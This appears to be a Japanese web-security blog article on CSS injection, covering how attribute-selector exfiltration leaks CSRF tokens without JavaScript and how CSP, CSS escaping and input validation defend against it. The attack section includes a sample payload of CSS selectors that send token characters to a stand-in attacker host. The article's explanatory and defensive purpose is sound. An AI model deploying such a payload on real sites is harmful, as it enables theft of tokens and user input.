WebアプリへのXSS対策は万全でも、CSSが注入されれば攻撃者は「JavaScriptなしで」ページ内のCSRFトークンや入力値を外部サーバーに送信できます。CSSインジェクションは、スクリプト系フィルタをすり抜けるため検出が難しく、現場エンジニアでも見落としがちな脆弱性です。
この記事では、CSSインジェクションの仕組み・CSS Attribute Selector攻撃によるデータ窃取の手口・具体的な防御手順(CSP設定・CSSエスケープ)を現場目線で解説します。

CSSインジェクションとは?
CSSインジェクションとは、攻撃者がWebアプリケーションにCSS(カスケーディングスタイルシート)コードを不正に注入する攻撃手法です。Webアプリがユーザーの入力値をそのままCSSとして出力する際、適切なサニタイズ(無害化)が行われていない場合に発生します。
XSS(クロスサイトスクリプティング)と似ていますが、CSSインジェクションはJavaScriptを一切使わずに攻撃が成立する点が大きな違いです。多くのCSP(Content-Security-Policy)設定がscript-srcを厳しく制限する一方、CSSは別扱いで許可されているケースがあり、XSS対策だけでは防げません。
1. XSSとCSSインジェクションの違い
| 項目 | XSS | CSSインジェクション |
|---|---|---|
| 使用言語 | JavaScript | CSS(JavaScriptなし) |
| 主な被害 | セッション盗取・DOM操作 | データ窃取・UI偽装・フィッシング |
| CSPでの制御 | script-srcで制限可能 | style-srcの設定が別途必要 |
| WAF検出難易度 | スクリプト系フィルタで検出しやすい | スクリプト系フィルタをすり抜けやすい |
| 発生しやすい箇所 | フォーム・URLパラメータ | カスタムテーマ・style属性・URLパラメータ |
2. CSSインジェクションが発生しやすい箇所
・カスタムテーマ・カラー設定機能: ユーザーが色やフォントを変更できるWebサービスで、入力値がCSSに直接反映される場合
・コメント欄・投稿機能: 一部のHTMLタグを許可している場合に<style>タグやstyle属性が混入
・URLパラメータのCSS反映: ?color=redなどのパラメータが直接CSSのプロパティ値に出力される場合
・HTMLメールのテンプレート: ユーザー入力がHTML形式のメール内スタイルに反映される場合
攻撃の仕組み(敵を知る)
1. CSS Attribute Selector攻撃:JavaScriptなしでデータを盗む
CSSインジェクションで最も危険視されるのが、CSSの「属性セレクター(Attribute Selector)」を悪用したデータ窃取です。CSS Exfiltrationとも呼ばれるこの手法は、JavaScriptを使わずにページ内の機密情報を外部サーバーに送信します。
仕組みを順を追って説明します。HTMLページ内に次のような隠しフィールドがあるとします(想定例)。
<input type="hidden" name="csrf_token" value="a7f3k9m2...">
攻撃者がCSSを注入できる状況であれば、以下のようなCSSを埋め込むことで、CSRFトークンの値を1文字ずつ推測できます(想定例)。
# 属性セレクターでvalue値の先頭文字を外部リクエストで推定する(想定例) input[name="csrf_token"][value^="a"] { background: url('https://attacker.example/log?c=a'); } input[name="csrf_token"][value^="b"] { background: url('https://attacker.example/log?c=b'); } # ...「^=」は「~で始まる」を意味する # a~z・0~9の全パターンを試してブルートフォース
ページが読み込まれると、valueが「a」で始まる場合だけ攻撃者サーバーへのリクエストが飛びます。どのリクエストが届いたかを確認することで、先頭文字が判明します。これを文字ごとに繰り返すことで、トークン全体を順番に推測できます。
この手法が危険なのは以下の理由からです。
・JavaScriptが不要: XSSをブロックするWAFやCSPのscript-src設定をすり抜けられる
・隠し要素も対象: type="hidden"の入力フィールドも属性セレクターの対象になる
・自動化が容易: ブルートフォースのリクエストを繰り返すツールが存在する
・被害者は気づかない: ページの見た目に変化がなく、ユーザーは攻撃に気づかない
2. UI偽装・フィッシング
攻撃者がページのスタイルを書き換えることで、正規サイトの見た目を模倣した偽のUIを作り出すことができます。
【想定例】ECサイトのレビュー投稿欄でCSSが注入された場合、ページ上に偽のログインフォームを重ねて表示し、ユーザーに認証情報を入力させる、というシナリオが一般的に知られています。正規ドメイン上で表示されるため、ユーザーには本物のページと区別がつきにくいです。
3. CSSを使ったトラッキング
CSSのurl()関数は、スタイルシートの読み込み時に外部へのHTTPリクエストを発生させます。これを悪用することで、どのユーザーがどのページを訪問したか、特定のUI要素をクリックしたかを追跡できます。一般的には広告トラッキングに使われる仕組みですが、意図しないCSS注入があれば情報漏洩の経路になりえます。
具体的な防御手順
1. ユーザー入力をCSSに直接出力しない設計を徹底する
最も根本的な対策は「ユーザー入力をCSSとして出力する設計をやめる」ことです。カスタムカラー機能を提供する場合も、許可するプロパティと値をサーバー側でホワイトリスト検証し、それ以外は拒否します。
# 良い例(Python): 色の入力を16進カラーコードのみ許可するバリデーション import re ALLOWED_COLOR_PATTERN = re.compile(r'^#[0-9A-Fa-f]{3}(?:[0-9A-Fa-f]{3})?$') def validate_color(value: str) -> str: if ALLOWED_COLOR_PATTERN.fullmatch(value): return value raise ValueError("不正なカラーコードです") # 悪い例: ユーザー入力をそのままCSSに展開する # style = f"color: {user_input};" # 絶対にやらない
2. CSSエスケープを徹底する
どうしてもユーザー入力をCSSに反映する必要がある場合は、CSSコンテキスト専用のエスケープを行います。HTMLエスケープ(htmlspecialchars()や&変換)はCSSインジェクションには不十分です。
・JavaScript(ブラウザ環境): CSS.escape()を使用(WHATWG標準・モダンブラウザ全対応)
・Java: OWASP Java EncoderライブラリのEncode.forCssString()やEncode.forCssUrl()
・Python/PHP: OWASPが提供するAntiSamy・HTML Purifierなどのライブラリを使用
// 良い例(JavaScript): CSS.escape()でユーザー入力をエスケープ const userValue = getUserInput(); // ユーザー入力を取得 const safeSelector = CSS.escape(userValue); document.querySelector(`[data-id="${safeSelector}"]`); // CSS.escape()の動作例: // CSS.escape('a]b') → 'a\]b' (ブラケットが無効化される) // CSS.escape('1test') → '\31 test' (数字始まりも安全に変換)
3. Content-Security-Policy(CSP)でstyle-srcを制限する
CSPのstyle-srcディレクティブを適切に設定することで、不正なスタイル注入を制限できます。特に重要なのは 'unsafe-inline' を許可しないことです。
# Nginxでの推奨CSPヘッダー設定例 add_header Content-Security-Policy " default-src 'self'; style-src 'self' 'nonce-$request_id'; img-src 'self' data:; connect-src 'self'; font-src 'self' https://fonts.googleapis.com https://fonts.gstatic.com; " always; # nonce(ワンタイムトークン)を使うことでインラインスタイルを個別に許可 # <style nonce="$request_id">...</style> # 'unsafe-inline' は絶対に許可しない
Nginxのセキュリティヘッダー設定の詳細は、姉妹サイトLinuxMaster.JPでも解説しています。
4. img-src・connect-srcで外部リクエストを制限する
CSS Attribute Selector攻撃は、注入したCSSが外部URLへのHTTPリクエストを発生させることで成立します。CSPのimg-srcとconnect-srcを自ドメインのみに制限することで、意図しないデータ送信を遮断できます。
# CSS Exfiltration対策を重視したCSP設定(Apacheの場合) Header always set Content-Security-Policy \ "default-src 'self'; \ style-src 'self' 'nonce-%{UNIQUE_ID}e'; \ img-src 'self' data:; \ connect-src 'self';" # img-src を 'self' のみにすることで # url() 関数による外部リクエスト(= データ漏洩ルート)を遮断する
5. 本番適用前にReport-Onlyモードで確認する
CSPを誤って設定すると、正規のスタイルシートも読み込めなくなりサイトが崩れることがあります。まず Content-Security-Policy-Report-Only ヘッダーでCSP違反をレポートとして収集し、問題がないことを確認してから本番適用するのが標準的な手順です。
# まずReport-Onlyで試験運用する Content-Security-Policy-Report-Only: default-src 'self'; style-src 'self'; report-uri /csp-violation-report; # 一定期間レポートを収集 → 正規のスタイルが全て許可されていることを確認 # その後、本番の Content-Security-Policy ヘッダーに切り替える
中小企業でも今日からできること
CSSインジェクションは自社開発のWebアプリだけでなく、WordPressのプラグインや外部ライブラリ経由で発生することもあります。情シス1人体制でも取り組める対策を優先度順に整理しました。
・①使っているCMSとプラグインを最新に保つ: WordPressでカスタムCSS入力を許可するプラグインの脆弱性は定期的に報告されています。月次の更新作業にCSSインジェクション対象となりうるプラグインの確認を組み込みましょう。
・②CSPヘッダーをReport-Onlyから始める: サーバーの設定ファイルに1行追加するだけで、CSP違反レポートの収集が始まります。いきなり制限せずレポートを見ながら段階的に絞り込むと安全です。
・③発注先のチェックリストにCSSエスケープを加える: 社内システムや外部ベンダーへの発注時の仕様書に「ユーザー入力をCSSコンテキストで出力する箇所は必ずCSSエスケープを実装すること」と明記しましょう。
・④WAFルールを有効化する: クラウド型WAFの管理画面でCSSインジェクション関連の検知ルールを有効にするだけで、既知の攻撃パターンを遮断できます。設定変更だけなので専門知識がなくても取り組めます。
・⑤Cookieに適切な属性を設定する: セッションCookieにHttpOnly・Secure・SameSite属性を設定することで、CSSインジェクションと組み合わせた攻撃の被害を限定できます。CookieのHttpOnly・Secure・SameSite属性の設定ガイドも参考にしてください。
よくある誤解と注意点
【誤解1】「JavaScriptをブロックすれば防げる」
CSSインジェクションはJavaScriptを使いません。XSS対策として script-src 'none' を設定しても、CSSインジェクションには効果がありません。style-src の制限はXSS対策とは別に設定が必要です。
【誤解2】「HTTPSを使っていれば外部への情報漏洩は起きない」
CSS Attribute Selector攻撃は、ページ内のCSSが url() 関数経由で外部URLへのHTTPSリクエストを発生させる仕組みです。通信の暗号化とは無関係に、リクエストさえ届けば攻撃が成立します。重要なのは外部リクエストを「発生させない」ことです。
【誤解3】「隠しフィールドは攻撃者から見えない」
CSS Attribute Selectorは type="hidden" のinputフィールドも対象にできます。「非表示だから安全」という考えは誤りで、DOMに存在する要素の属性値は全て属性セレクターで参照可能です。
【注意】CSP設定は段階的に適用する
CSPを厳格にしすぎると、正規のCDN(Google Fontsなど)からのスタイルシートも読み込めなくなることがあります。特にWordPressのようなCMSは多数のプラグインがインラインスタイルを使っているため、まずReport-Onlyモードで実態を把握してから制限を強化するアプローチが現実的です。

本記事のまとめ
CSSインジェクションは「スクリプトを使わない攻撃」という性質上、XSS対策に注力してきた現場では見落とされがちな脆弱性です。CSS Attribute Selector攻撃は、JavaScriptを一切使わずにCSRFトークンや入力値を外部に送信できる実用的な手法として知られています。
| 対策 | 効果 | 優先度 |
|---|---|---|
| ユーザー入力をCSSに出力しない設計 | 根本的な防御 | 高 |
| CSSエスケープ(CSS.escape等) | 注入コードの無害化 | 高 |
| CSP(style-src制限・unsafe-inline禁止) | 注入後の実行を制限 | 高 |
| img-src・connect-srcを自ドメインのみに制限 | 外部へのデータ送信を遮断 | 高 |
| WAFルールの有効化 | 既知パターンの遮断 | 中 |
| CMS・プラグインの定期更新 | 既知脆弱性の解消 | 中 |
「CSSは安全」という思い込みを捨て、CSS入力点を洗い出してCSSエスケープとCSPを組み合わせることが現場でできる最善の防御です。
CSSインジェクションと組み合わせて悪用されることもあるDOM型XSSの仕組みは、DOM型XSSとは?ブラウザ内で完結するスクリプト攻撃の仕組みと対策で詳しく解説しています。また、Webアプリ全体のセキュアな実装方針については、セキュアコーディングの基本原則ガイドもあわせて参考にしてください。
PR
体系的に学ぶ 安全なWebアプリケーションの作り方 第2版(徳丸浩/SBクリエイティブ)
CSSインジェクションを含むWebアプリの脆弱性を体系的に学べる定番書。XSS・SQLインジェクション・CSRFなどの攻撃手法と防御策を、実際のコードを交えて丁寧に解説しています。開発者・情シス担当者が一冊持っておくべき実践ガイドです。
